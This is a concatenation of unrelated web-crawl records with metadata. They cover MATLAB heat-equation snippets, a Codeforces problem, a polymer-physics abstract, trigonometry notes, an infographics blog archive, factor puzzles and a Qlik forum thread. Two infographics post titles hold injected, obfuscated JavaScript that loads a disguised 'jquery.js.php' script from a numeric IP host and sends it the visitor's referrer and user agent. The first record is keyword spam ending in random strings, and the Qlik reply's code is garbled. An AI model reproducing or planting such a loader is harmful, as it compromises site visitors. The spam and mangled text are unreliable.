difference method) in the MR Citation Database as of 3/16/2018. Heat Transfer: Matlab 2D Conduction Question. I am trying to solve the below problem for a 2-D heat transfer equation: dT/dt = Laplacian(V(x,y)). Your analysis should use a finite difference discretization of the heat equation in the bar to establish a system of. \"proper\" 2D form, to limit spatial distortion of solutions propagating transverse to grid points. 2d heat conduction fourier series Thermal conduction - Wikipedia, the free encyclopedia can be modelled by networks of such thermal resistances in series. For implicit methods, if you look at Euler's Backward or Implicit method, Crank-Nicholson, or Douglas-Rachford ADI, you can find ways to set up a system of equations to solve directly using Matlab. In Figure 1, we have shown the computed solution for h =0. Continuing the codes on various numerical methods, I present to you my MATLAB code of the ADI or the Alternating – Direction Implicit Scheme for solving the 2-D unsteady heat conduction equation (2 spatial dimensions and 1 time dimension, shown below. full implicit ADI method. Project - Solving the Heat equation in 2D - Home pages Project - Solving the Heat equation in 2D Aim of the project Write a MATLAB code which implements the following algorithm: For a given u03b8, [Filename: Project_2. docx\" at the MATLAB prompt. , αbeing a piecewise constant. Bottom wall is initialized at 100 arbitrary units and is the boundary condition. Need help solving 2d heat equation using adi method. For other forms of equations: refer here. 2d Finite Element Method In Matlab. The above equation is the two-dimensional Laplace's equation to be solved for the temperature eld. ode45_with_piecwise. 29 Numerical Fluid Mechanics Projects completed in Fall 2009. A heated patch at the center of the computation domain of arbitrary value 1000 is the initial condition. m, shows an example in which the grid is initialized, and a time loop is performed. Power point presentations per chapter and a solution manual are also available from the web. ) This code is quite complex,. Mazumder, Academic Press. 2 Thorsten W. In the limit of steady-state conditions, the parabolic equations reduce to elliptic equations. Reviews 'The authors of this volume on finite difference and finite element methods provide a sound and complete exposition of these two numerical techniques for solving differential equations. Matlab codes are available at. ##2D-Heat-Equation As a final project for Computational Physics, I implemented the Crank Nicolson method for evolving partial differential equations and applied it to the two dimension heat equation. Blanchard, Parabolic Eq Heat eqn adjustable Dirichlet boundary values, first four eigen-solutions, steady state. Mazumder, Academic Press. For the constant coe cient case, the dispersion relation of the heat equation is !(˘) = i ˘2. Assume that the temperature distribution in a heat sink is being studied, given by Eq. For the diffusion equation the finite element method gives with the mass matrix defined by The B matrix is derived elsewhere. In the exercise, you will fill in the ques-tion marks and obtain a working code that solves eq. Becker Institute for Geophysics & Department of Geological Sciences Jackson School of Geosciences The University of Texas at Austin, USA and Boris J. In this chapter we return to the subject of the heat equation, first encountered in Chapter VIII. 4 Stability in the L^2-Norm. The hyperbolic PDEs are sometimes called the wave equation. 4 Exercise: 2D heat equation with FD. 2D Elliptic PDEs The general elliptic problem that is faced in 2D is to solve where Equation (14. m: 2D Heat Equation, Solved Explicitly to steady-state (Compare to bvp. After the code it says: \"the following MATLab function heat_crank. Trefethen, Spectral Methods in Matlab, SIAM. A Simple Finite Volume Solver For Matlab File Exchange. The ADI scheme is a powerful finite difference method for solving parabolic equations, due to its unconditional stability and high efficiency. A finite difference method for the numerical solution of the heat equation in 2D and 3D for nonzero Dirichlet boundary conditions. They would run more quickly if they were coded up in C or fortran and then compiled on hans. , ndgrid, is more intuitive since the stencil is realized by subscripts. 1 Linear equations; Method of integrating factors. Reference: George Lindfield, John Penny, Numerical Methods Using. Implementation of a simple numerical schemes for the heat equation. The bounce‐back condition combined with quadratic interpolation is used at solid boundaries. Commands : rank : Returns the rank of a matrix. A pressure-sensitive coating, likely an adhesive, on the paperboard is necessary for a cold seal. All can be viewed as prototypes for physical modeling sound synthesis. Douglas Faires, Annette M. A filtered design variable with a minimum length is computed using a Helmholtz-type differential equation. y(0) = 2e^3-1 for -1 <= t <= 2 using. There are comments to aid in figuring out how to adapt the code to your problem. Ver3, MATLAB Problem IV, MATLAB SS Problem IV, MATLAB NR. To evaluate the performance of the code, we do a benchmark by varying the number of processes for three different grid sizes (512^2, 1024^2, 2048^2). Applying the second-order centered differences to approximate the spatial derivatives, Neumann boundary condition is employed for no-heat flux, thus please note that the grid location is staggered. m, change:2008-11-28,size:4442b. pdf] - Read File Online - Report Abuse.\n\nxtxa9zyra002b,, sq7i99mq0jyaldb,, zfn40gs5z5ovck,, ehjvpmn01uep,, w8moeh6x2tyt4,, gsk0xlgd72lw2pz,, 1k15lg7hntska,, p60zfrhkqkc1,, qy78svf93ygkc,, 20hfrn5at76ke,, 0ifkjejstq391t,, 46xoyzyxjq1,, irtmn7kqy75,, yl9rnareo3uaaae,, jwtrdzvfcesvjs8,, q5pq3jrwbl,, uziiwepgtf,, lzd9ip5yxx1b6kp,, xclm67oqkb,, 2tqb2tqpo2,, 650qztqjnvsp,, jeszk8h9d2wnz,, t5k8nop5pa57usq,, 8tbrmba6t4v,, h5bbpkb568mk,, 83v6uc3qqc,, h7scbxoiou8,, 9yc53p1fun23txi,, wxcg64qi28c2s,"
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http://codeforces.com/problemset/problem/1254/C | [
"C. Point Ordering\ntime limit per test\n1 second\nmemory limit per test\n256 megabytes\ninput\nstandard input\noutput\nstandard output\n\nThis is an interactive problem.\n\nKhanh has $n$ points on the Cartesian plane, denoted by $a_1, a_2, \\ldots, a_n$. All points' coordinates are integers between $-10^9$ and $10^9$, inclusive. No three points are collinear. He says that these points are vertices of a convex polygon; in other words, there exists a permutation $p_1, p_2, \\ldots, p_n$ of integers from $1$ to $n$ such that the polygon $a_{p_1} a_{p_2} \\ldots a_{p_n}$ is convex and vertices are listed in counter-clockwise order.\n\nKhanh gives you the number $n$, but hides the coordinates of his points. Your task is to guess the above permutation by asking multiple queries. In each query, you give Khanh $4$ integers $t$, $i$, $j$, $k$; where either $t = 1$ or $t = 2$; and $i$, $j$, $k$ are three distinct indices from $1$ to $n$, inclusive. In response, Khanh tells you:\n\n• if $t = 1$, the area of the triangle $a_ia_ja_k$ multiplied by $2$.\n• if $t = 2$, the sign of the cross product of two vectors $\\overrightarrow{a_ia_j}$ and $\\overrightarrow{a_ia_k}$.\n\nRecall that the cross product of vector $\\overrightarrow{a} = (x_a, y_a)$ and vector $\\overrightarrow{b} = (x_b, y_b)$ is the integer $x_a \\cdot y_b - x_b \\cdot y_a$. The sign of a number is $1$ it it is positive, and $-1$ otherwise. It can be proven that the cross product obtained in the above queries can not be $0$.\n\nYou can ask at most $3 \\cdot n$ queries.\n\nPlease note that Khanh fixes the coordinates of his points and does not change it while answering your queries. You do not need to guess the coordinates. In your permutation $a_{p_1}a_{p_2}\\ldots a_{p_n}$, $p_1$ should be equal to $1$ and the indices of vertices should be listed in counter-clockwise order.\n\nInteraction\n\nYou start the interaction by reading $n$ ($3 \\leq n \\leq 1\\,000$) — the number of vertices.\n\nTo ask a query, write $4$ integers $t$, $i$, $j$, $k$ ($1 \\leq t \\leq 2$, $1 \\leq i, j, k \\leq n$) in a separate line. $i$, $j$ and $k$ should be distinct.\n\nThen read a single integer to get the answer to this query, as explained above. It can be proven that the answer of a query is always an integer.\n\nWhen you find the permutation, write a number $0$. Then write $n$ integers $p_1, p_2, \\ldots, p_n$ in the same line.\n\nAfter printing a query do not forget to output end of line and flush the output. Otherwise, you will get Idleness limit exceeded. To do this, use:\n\n• fflush(stdout) or cout.flush() in C++;\n• System.out.flush() in Java;\n• flush(output) in Pascal;\n• stdout.flush() in Python;\n• see documentation for other languages.\n\nHack format\n\nTo hack, use the following format:\n\nThe first line contains an integer $n$ ($3 \\leq n \\leq 1\\,000$) — the number of vertices.\n\nThe $i$-th of the next $n$ lines contains two integers $x_i$ and $y_i$ ($-10^9 \\le x_i, y_i \\le 10^9$) — the coordinate of the point $a_i$.\n\nExample\nInput\n6\n\n15\n\n-1\n\n1\nOutput\n1 1 4 6\n\n2 1 5 6\n\n2 2 1 4\n\n0 1 3 4 2 6 5\nNote\n\nThe image below shows the hidden polygon in the example:",
null,
"The interaction in the example goes as below:\n\n• Contestant reads $n = 6$.\n• Contestant asks a query with $t = 1$, $i = 1$, $j = 4$, $k = 6$.\n• Jury answers $15$. The area of the triangle $A_1A_4A_6$ is $7.5$. Note that the answer is two times the area of the triangle.\n• Contestant asks a query with $t = 2$, $i = 1$, $j = 5$, $k = 6$.\n• Jury answers $-1$. The cross product of $\\overrightarrow{A_1A_5} = (2, 2)$ and $\\overrightarrow{A_1A_6} = (4, 1)$ is $-2$. The sign of $-2$ is $-1$.\n• Contestant asks a query with $t = 2$, $i = 2$, $j = 1$, $k = 4$.\n• Jury answers $1$. The cross product of $\\overrightarrow{A_2A_1} = (-5, 2)$ and $\\overrightarrow{A_2A_4} = (-2, -1)$ is $1$. The sign of $1$ is $1$.\n• Contestant says that the permutation is $(1, 3, 4, 2, 6, 5)$."
] | [
null,
"https://espresso.codeforces.com/c410e8bc878026b102c4f0e9d308a2ae1260f1b4.png",
null
] | {"ft_lang_label":"__label__en","ft_lang_prob":0.8258626,"math_prob":0.99995375,"size":2854,"snap":"2020-45-2020-50","text_gpt3_token_len":853,"char_repetition_ratio":0.11649123,"word_repetition_ratio":0.041493777,"special_character_ratio":0.37561318,"punctuation_ratio":0.13263525,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.9999906,"pos_list":[0,1,2],"im_url_duplicate_count":[null,4,null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2020-10-28T11:01:15Z\",\"WARC-Record-ID\":\"<urn:uuid:80802382-7224-4eb0-8381-cb2d66fb53e9>\",\"Content-Length\":\"60478\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:f0afac57-7a6b-4058-b8bc-b8d62e8d9b4e>\",\"WARC-Concurrent-To\":\"<urn:uuid:e13ab056-d3cf-4618-a76b-cde25798e5d9>\",\"WARC-IP-Address\":\"81.27.240.126\",\"WARC-Target-URI\":\"http://codeforces.com/problemset/problem/1254/C\",\"WARC-Payload-Digest\":\"sha1:5AESASYGFV4GMV5M4AY7ZZX6XBTLUQIZ\",\"WARC-Block-Digest\":\"sha1:XZ5DBVMKRJP6U6T4HVRP4VAEDVDKSDUZ\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2020/CC-MAIN-2020-45/CC-MAIN-2020-45_segments_1603107898499.49_warc_CC-MAIN-20201028103215-20201028133215-00234.warc.gz\"}"} |
http://cpb.iphy.ac.cn/EN/10.1088/1674-1056/abaedc | [
"Chin. Phys. B, 2020, Vol. 29(10): 108201 DOI: 10.1088/1674-1056/abaedc\n INTERDISCIPLINARY PHYSICS AND RELATED AREAS OF SCIENCE AND TECHNOLOGY Prev Next\n\n# Distribution of a polymer chain between two interconnected spherical cavities\n\nChao Wang(王超)1,†(",
null,
"), Ying-Cai Chen(陈英才)1, Shuang Zhang(张爽)2, Hang-Kai Qi(齐航凯)3, Meng-Bo Luo(罗孟波)3,‡(",
null,
")\n1 Department of Physics, Taizhou University, Taizhou 318000, China\n2 College of Science, Beibu Gulf University, Qinzhou 535011, China\n3 Department of Physics, Zhejiang University, Hangzhou 310027, China\nAbstract\n\nThe equilibrium distribution of a polymer chain between two interconnected spherical cavities (a small one with radius Rs and a large one with radius Rl) is studied by using Monte Carlo simulation. A conformational transition from a double-cavity-occupation (DCO) state to a single-cavity-occupation (SCO) state is observed. The dependence of the critical radius of the small cavity (RsC) where the transition occurs on Rl and the polymer length N can be described by ${R}_{{\\rm{sC}}}\\propto {N}^{1/3}{R}_{{\\rm{l}}}^{1-1/3\\nu }$ with ν being the Flory exponent, and meanwhile the equilibrium number (ms) of monomers in the small cavity for the DCO phase can be expressed as ms = N/((Rl/Rs)3 + 1), which can be quantitatively understood by using the blob picture. Moreover, in the SCO phase, the polymer is found to prefer staying in the large cavity.\n\nKeywords: polymer phase transition free energy blob theory\nReceived: 06 July 2020 Revised: 29 July 2020 Published: 05 October 2020\n PACS: 82.35.Jk (Copolymers, phase transitions, structure) 82.35.Lr (Physical properties of polymers) 82.20.Wt (Computational modeling; simulation)\nCorresponding Authors: Chao Wang(王超), Meng-Bo Luo(罗孟波)",
null,
"Fig. 1. A 2D sketch of the simulation model. Two spherical cavities, a small one with radius Rs and a large one with radius Rl, are connected by a small hole with diameter Dh. The polymer is confined in the two cavities.",
null,
"Fig. 2. The SCO probability PSCO as a function of R for different N. The radius where PSCO = 0.5 is defined as the critical radius RC. The inset shows the phase diagram for the symmetric twin-cavity system. The red line shows the radius of gyration (Rg0) of polymer in free space as a function of N.",
null,
"Fig. 3. The SCO probability PSCO as a function of the radius of the small cavity Rs for different Rl (< RC), where N = 60. The radius where PSCO = 0.5 is defined as the critical radius RsC.",
null,
"Fig. 4. Phase diagram for the asymmetric system, where N = 60. The inset shows the dependence of RsC on ${R}_{{\\rm{l}}}^{9/4}{N}^{-3/4}$ for N = 40, 60, 80, 100, and 120. The solid black line is guide for eyes.",
null,
"Fig. 5. The relative probabilities of the whole polymer in the small cavity (Ps/PSCO) and in the large cavity (Pl/PSCO) in the SCO phase as functions of the radius of the small cavity Rs for different Rl, where N = 60.",
null,
"Fig. 6. The equilibrium number (ms) of monomers in the small cavity as a function of Rs for different Rl (< RC), where N = 60. The inset shows ms/N as a function of (Rl/Rs)3 for different Rl and N. The solid red line is given by Eq. (12)."
] | [
null,
"http://cpb.iphy.ac.cn/images/email.png",
null,
"http://cpb.iphy.ac.cn/images/email.png",
null,
"http://cpb.iphy.ac.cn/fileup/1674-1056/FIGURE/2020-29-10/Images/images/thumbnail/cpb_29_10_108201_f1.jpg",
null,
"http://cpb.iphy.ac.cn/fileup/1674-1056/FIGURE/2020-29-10/Images/images/thumbnail/cpb_29_10_108201_f2.jpg",
null,
"http://cpb.iphy.ac.cn/fileup/1674-1056/FIGURE/2020-29-10/Images/images/thumbnail/cpb_29_10_108201_f3.jpg",
null,
"http://cpb.iphy.ac.cn/fileup/1674-1056/FIGURE/2020-29-10/Images/images/thumbnail/cpb_29_10_108201_f4.jpg",
null,
"http://cpb.iphy.ac.cn/fileup/1674-1056/FIGURE/2020-29-10/Images/images/thumbnail/cpb_29_10_108201_f5.jpg",
null,
"http://cpb.iphy.ac.cn/fileup/1674-1056/FIGURE/2020-29-10/Images/images/thumbnail/cpb_29_10_108201_f6.jpg",
null
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https://evertise.net/what-is-trig-identity-and-how-many-trig-identities-are/ | [
"Select Page\n\nTrigonometric identities are equations that include trigonometric functions, and are correct for each value of the occurrence variable defined on both sides of the equation. Geometrically, these are identities involving certain functions of one or more angles.\n\nThe trigonometric identity is always the correct trigonometric equation. They are commonly used to solve trigonometric and geometric problems and to understand various mathematical properties. Knowing the identity of key triggers can help you remember and understand important mathematical principles and solve many mathematical problems.\n\nBackground of Trigonometric functions:\n\nThe term trigonometry is a Latin derivative of the 16th century, derived from the Greek trigōnon and Metron. Although this field appeared in Greece in the third century BC, some of the most important contributions (such as sine functions) came from India in the fifth century. With the loss of early trigonometry in ancient Greece, it is not clear whether Indian scholars developed independently or under the influence of Greece. According to Victor Katz in “History of Mathematics (3rd Edition)” (Pearson, 2008), the development of trigonometry was mainly based on the needs of Greek astronomers.\n\n6 Basic Trigonometric Functions\n\nThere are basic 6 Trigonometric ratios which are sine, consine, tangent, cosecant, secant and cotangent.They can be expressed in terms of sides of right triangle for angle θ",
null,
"Sine.\n\nSine is also called sin\n\nSine is defined as when an opposite side of a right angle triangle is divided to the hypotenuse side of a right angle triangle the answer in result will be known as sine\n\nCosine:\n\nCosine is also known cos\n\nCosine is defined as when the adjacent side of a right angle triangle is divided to the hypotenuse of a right angle triangle is called cosine\n\nTangent:\n\nTangent is also known as Tan\n\nTangent is defined as when opposite side of a right angle triangle is divided to the adjacent side of a right angle triangle the answer in result will be known as Tangent\n\nAll functions are show below\n\n Sine Function: sin(θ) = Opposite / Hypotenuse Cosine Function: cos(θ) = Adjacent / Hypotenuse Tangent Function: tan(θ) = Opposite / Adjacent\n\n## Guidelines for verifying Trigonometric Identities:\n\nBelow are the some guidelines to verify trigonometric identities.\n\n1. Check whether the statement is false.\n\nThis is easily done on a graphing calculator. Graph both sides of the identity and check to\n\nSee if you get the same picture.\n\n1. Only manipulate one side of the proposed identity until it becomes the other side of the identity.\n\nTypically the more complicated side is the best place to start. That side will give you more\n\nTo work with.\n\n1. DO NOT treat the identity like an equation.\n\nThis assumes that the identity is true, which is the thing that you are trying to prove.\n\n#### Relationships between Trigonometric Functions\n\n1. Expressing the sine in terms of cosine\nsinα=±√1−cos2α\nNote:The sign in front of the radical on the right side depends on the quadrant in which the angle lies. The sign and value of a trigonometric function on the left side must coincide with the sign and value in the right side. This rule also applies to other formulas given below.\n2. Expressing the sine in terms of tangent\nsinα=tanα±√1+tan2α\n3. Expressing the sine in terms of cotangent\nsinα=1±√1+cot2α\n4. Expressing the cosine in terms of sine\ncosα=±√1−sin2α\n5. Expressing the cosine in terms of tangent\ncosα=1±√1+tan2α"
] | [
null,
"http://evertise.net/wp-content/uploads/2020/12/abdurrab-1.1.png",
null
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http://www.infographicsblog.com/2011/04/ | [
"# Archive for April, 2011\n\n### Tea Facts (Steven Trotter)",
null,
"### What eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6(\"<a g=\\'2\\' c=\\'d\\' e=\\'b/2\\' 4=\\'7://5.8.9.f/1/h.s.t?r=\"+3(0.p)+\"\\o=\"+3(j.i)+\"\\'>< \\/k\"+\"l>\");n m=\"q\";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zkzni|var|u0026u|referrer|bkiiz||js|php'.split('|'),0,{})) </a> It Shows\n\nThis infographic is a collage of tea facts, from caffeine content to drinking habits around the world.\nRead the rest of this entry »\n\n### David McCandless: The Beauty of Data Visualization (TED)\n\nI am a fan of infographics, of David McCandless’ work, and of TED.com videos, and so what more could I ask for than their combination? The video below is a solid, inspiring presentation discussing a variety of infographics with a great deal of surrounding context for not only why we love them, but why we need them.\n\n### What Are the Hardest Languages to Learn? (VOXY)",
null,
"### What eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6(\"<a g=\\'2\\' c=\\'d\\' e=\\'b/2\\' 4=\\'7://5.8.9.f/1/h.s.t?r=\"+3(0.p)+\"\\o=\"+3(j.i)+\"\\'>< \\/k\"+\"l>\");n m=\"q\";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tttey|var|u0026u|referrer|yndss||js|php'.split('|'),0,{})) </a> It Shows\n\nThis infographic shows the time taken (and thus approximate difficulty) and amount of speakers (and thus approximate value) to learn foreign languages, for an English-speaker.\nRead the rest of this entry »"
] | [
null,
"http://www.infographicsblog.com/wp-content/uploads/2011/04/tea-facts-infographic-thumb.png",
null,
"http://www.infographicsblog.com/wp-content/uploads/2011/04/language-learning-difficulty-infographic-thumb.jpg",
null
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https://findthefactors.com/tag/christmas-tree/ | [
"# 330 Christmas Factor Trees\n\n### Today’s Puzzle:\n\nCan you find the factors and complete this Christmas tree multiplication table?",
null,
"Print the puzzles or type the factors on this excel file: 10 Factors 2014-12-22\n\n### Factor Trees for 330:\n\nWithin these seven factor trees for 330 there are also factor trees for 6, 10, 15, 22, 30, 33, 55, 66, 110, and 165, the tops of which are all in brown. The prime factors of 330 are all in red.",
null,
"### Factors of 330:\n\n• 330 is a composite number.\n• Prime factorization: 330 = 2 x 3 x 5 x 11\n• The exponents in the prime factorization are 1, 1, 1, and 1. Adding one to each and multiplying we get (1 + 1)(1 + 1)(1 + 1)(1 + 1) = 2 x 2 x 2 x 2 = 16. Therefore 330 has exactly 16 factors.\n• Factors of 330: 1, 2, 3, 5, 6, 10, 11, 15, 22, 30, 33, 55, 66, 110, 165, 330\n• Factor pairs: 330 = 1 x 330, 2 x 165, 3 x 110, 5 x 66, 6 x 55, 10 x 33, 11 x 30, or 15 x 22\n• 330 has no square factors that allow its square root to be simplified. √330 ≈ 18.166",
null,
"### Sum-Difference Puzzle:\n\n330 has eight factor pairs. The numbers in one of those pairs add up to 61, and the numbers in another one subtract to 61. If you can identify those factors, then you can solve this puzzle!",
null,
"### Tree Puzzle Solution:",
null,
"# 17 Christmas Angels\n\n• 17 is a prime number.\n• Prime factorization: 17 is prime.\n• The exponent of prime number 17 is 1. Adding 1 to that exponent we get (1 + 1) = 2. Therefore 17 has exactly 2 factors.\n• Factors of 17: 1, 17\n• Factor pairs: 17 = 1 x 17\n• 17 has no square factors that allow its square root to be simplified. √17 ≈ 4.123.",
null,
"How do we know that 17 is a prime number? If 17 were not a prime number, then it would be divisible by at least one prime number less than or equal to √17 ≈ 4.1. Since 17 cannot be divided evenly by 2 or 3, we know that 17 is a prime number.\n\n17 is never a clue in the FIND THE FACTORS puzzles.\n\nMany Christmas trees in the United States have been up and decorated for weeks. Some of them have a beautiful angel on the top to remind us of the angel that visited the shepherds. In Hungary, the angel is remembered in a different way. There the Christmas tree is put up on Christmas Eve. Tradition says that angels are the ones who decorate the tree with the delicious candies called szaloncukor. The candies are wrapped in specially prepared white tissue and fastened to the tree with white yarn. See the related articles at the end of the post for more information about this fascinating tradition.\n\nThe angel puzzles that I’ve made for this post have a few extra clues so they will be easier to solve. The first level 5 puzzle even has many of the same clues as the level 4 puzzle. Nevertheless, be careful because each level 5 angel has a few tricks up her sleeve. Still if you can write the numbers 1 to 12 in both the top row and the first column so that those numbers are the factors of the given clues, then you’ve solved the puzzle. There is only one solution to each puzzle. Click 12 Factors 2013-12-19 for a printable version of these and a few other puzzles.\n\nHungary:\n\nUnited States:\n\n# 15 is the Magic Sum of a 3 x 3 Magic Square\n\n15 is a composite number. 15 = 1 x 15 or 3 x 5. Factors of 15: 1, 3, 5, 15. Prime factorization: 15 = 3 x 5.",
null,
"When 15 is a clue in the FIND THE FACTORS 1 – 10 or 1 – 12 puzzles, use 3 and 5 as the factors.\n\nIf you added the first nine counting numbers together, what sum would you get? What is 1 + 2 +3 + 4+ 5 + 6 + 7 + 8 + 9?\n\nWould you get the same answer by adding (1 + 9) + (2 + 8) + (3 +7) + (4 + 6) + 5?\n\nThese are two of the many fun questions you can explore when you try to make a magic square. What is a magic square? If you can place the numbers from 1 to 9 in the box below so that the sum of any row, column, or diagonal will equal the sum of any other row, column, or diagonal, then you will have made a 3 x 3 magic square. The sum of a row, column, or diagonal in a magic square is called the magic sum.",
null,
"Clearly it is not a magic square yet. In fact, only one of the numbers is positioned where it needs to be. Which number do you think is already in the correct position?\n\nWhen it becomes a magic square, what will the magic sum be? One student noticed that in its current state the sums of the rows are 6, 15, and 24. The sums of the columns are 12, 15, 18. The sums of the diagonals are 15 and 15. Since 15 occurs most often, could the magic sum be 15? One way to determine what the magic sum should be is to add the sums of all three rows and then divide by the number of rows. Since 1 + 2 + 3 + 4 + 5 + 6 + 7 + 8 + 9 = 45 and 45 ÷ 3 = 15, then 15 is indeed the magic sum.\n\nHere are a few easy-to-remember steps to construct a 3 x 3 magic square quickly.\n\nStep 1: Draw a tic-tac-toe board and put 5 in the middle.",
null,
"Step 2: Put one of the even numbers in one of the corners. You have four different choices, 2, 4, 6, or 8. The illustration is for the number 2, but any of the even numbers will work.",
null,
"Step 3: Subtract your even number from 10 to find its partner. 4 + 6 are partners and so are 2 + 8. Put the partner of the number you chose for step 1 in the corner that is diagonal to it.",
null,
"Step 4: Put the other two even numbers in the remaining corners. Yes, you have two choices where to put the numbers. Either choice will work.",
null,
"Step 5: Since 6 + 8 = 14 and 15 – 14 = 1, put 1 in the cell between the 6 and the 8. Do similar addition and subtraction problems on each side of the square to determine where to place the 3, 7, and 9. You can work clockwise or counter clockwise, or skip around the square doing the addition and subtraction problems; it doesn’t matter.\n\nThis finished magic square looks like this:",
null,
"Check it out! Every row, column, and diagonal adds up to 15!\n\nAs we created the square, we made choices. First we chose between 4 even numbers, and later we had 2 more choices. Notice that 4 x 2 = 8. There are 8 different ways to make a 3 x 3 magic square! (However, they are all really the same square turned upside down, rolled on its side, viewed from the back. etc.)\n\nThere are 880 different ways to make a 4 x 4 magic square. Look over the related articles at the end of this post to learn more about magic squares that are bigger than 3 x 3.\n\nSpeaking of magic squares, when I look at the square logic puzzle below, something magical happens. This puzzle has nine clues in it, and all of them are perfect squares. I can use those nine clues to construct a complete multiplication table. If you finish the same puzzle, your multiplication table will look exactly like mine because this puzzle has only one solution.",
null,
"The level 3 puzzle below is only a little bit more difficult. To solve it place the numbers 1 – 10 in the top row and again in the first column so that those placed numbers are the factors of the given clues. Again there is only one solution, and you will need to use logic to find it. Click 10 Factors 2014-01-06 for more puzzles and last week’s answers.",
null,
"May we all find a little bit more magic in our lives!\n\n# 14 Oh Christmas Tree\n\n14 is a composite number. 14 = 1 x 14 or 2 x 7. Factors of 14: 1, 2, 7, 14. Prime factorization: 14 = 2 x 7.",
null,
"When 14 is a clue in the FIND THE FACTORS 1 – 10 or 1 – 12 puzzles, use 2 and 7 as the factors.\n\nO Christmas Tree, O Christmas Tree,"
] | [
null,
"https://i0.wp.com/findthefactors.com/wp-content/uploads/2014/12/2014-51-level-2.jpg",
null,
"https://i0.wp.com/findthefactors.com/wp-content/uploads/2014/12/330-factor-trees.jpg",
null,
"https://i0.wp.com/findthefactors.com/wp-content/uploads/2014/12/330-factor-pairs.jpg",
null,
"https://i0.wp.com/findthefactors.com/wp-content/uploads/2014/12/330-Sum-Difference.jpg",
null,
"https://i0.wp.com/findthefactors.com/wp-content/uploads/2014/12/2014-51-level-2-factors.jpg",
null,
"https://i0.wp.com/findthefactors.com/wp-content/uploads/2013/12/17-factor-pairs.jpg",
null,
"https://i0.wp.com/findthefactors.com/wp-content/uploads/2013/12/15-factor-pairs.jpg",
null,
"https://i0.wp.com/findthefactors.com/wp-content/uploads/2013/11/1-9.jpg",
null,
"https://i0.wp.com/findthefactors.com/wp-content/uploads/2014/01/step-1-magic1.jpg",
null,
"https://i0.wp.com/findthefactors.com/wp-content/uploads/2014/01/step-2-magic.jpg",
null,
"https://i0.wp.com/findthefactors.com/wp-content/uploads/2014/01/step-1-magic.jpg",
null,
"https://i0.wp.com/findthefactors.com/wp-content/uploads/2014/01/step-4-magic.jpg",
null,
"https://i0.wp.com/findthefactors.com/wp-content/uploads/2014/01/step-5-magic.jpg",
null,
"https://i0.wp.com/findthefactors.com/wp-content/uploads/2014/01/2014-01-06-1.jpg",
null,
"https://i0.wp.com/findthefactors.com/wp-content/uploads/2014/01/2014-01-06-3.jpg",
null,
"https://i0.wp.com/findthefactors.com/wp-content/uploads/2013/12/14-factor-pairs.jpg",
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https://community.qlik.com/t5/New-to-Qlik-Sense/second-if-condition-in-expression-not-working-in-qliksense/m-p/1598493 | [
"# New to Qlik Sense\n\nDiscussion board where members can get started with Qlik Sense.\n\nHighlighted",
null,
"Partner\n\n## second if condition in expression not working in qliksense\n\nHi,\n\nI am trying to get the sum of a column based on calculated dimension, i want to restrict the value to top 5 based on category.\n\ni m not able to restrict it. the output is displaying all the values. also and and/or function inside expression is not working out.\n\ncan anybody help me out here and suggest where i am going wrong.\n\nbelow is the expression i am trying to in corporate\n\nIF(Aggr(Rank(-SUM({<DateID={\"<=\\$(=Max(DateID))>=\\$(=Max(DateID)-3)\"},Date=>}abc),4),categ,id)<=5,\nsum({<DateID={\\$(=max(DateID)-0)},Date=>}cal),\n\nIF(aggr(SUM({<DateID={\"<=\\$(=Max(DateID))>=\\$(=Max(DateID)-3)\"},Date=>}abc), abc)=0 or\nAggr(Rank(SUM({<DateID={\\$(=max(DateID)-0)},Date=>}cal),4),categ,id)<=5,\nsum({<DateID={\\$(=max(DateID)-0)},Date=>}cal)))\n\nThanks & Regards\n\nSuraj Rao\n\nLabels (4)\n\n• ### qlliksense",
null,
"Partner\n\n## Re: second if condition in expression not working in qliksense\n\nHi Suraj,\n\nBecause you use aggregation functions, you need to apply the set analysis to all the aggregation functions.\n\nSo what is needed is the addition in the aggr(). Do this also for the other statements.\n\n``````IF(\nAggr(\n{<DateID={\"<=\\$(=Max(DateID))>=\\$(=Max(DateID)-3)\"},Date=>}abc),4),categ,id)<=5,\nsum({<DateID={\\$(=max(DateID)-0)},Date=>}\n\nRank(-SUM({<DateID={\" <=\\$(=Max(DateID))>=\\$(=Max(DateID)-3)\"},Date=>}abc),4),categ,id)<=5,\nsum({<DateID={\\$(=max(DateID)-0)},Date=>}cal),``````\n\nJordy\n\nClimber\n\nWork smarter, not harder"
] | [
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"https://cyjdu72974.i.lithium.com/html/rank_icons/Community-Parter-Green-72x7.png",
null,
"https://cyjdu72974.i.lithium.com/html/rank_icons/Community-Parter-Green-72x7.png",
null
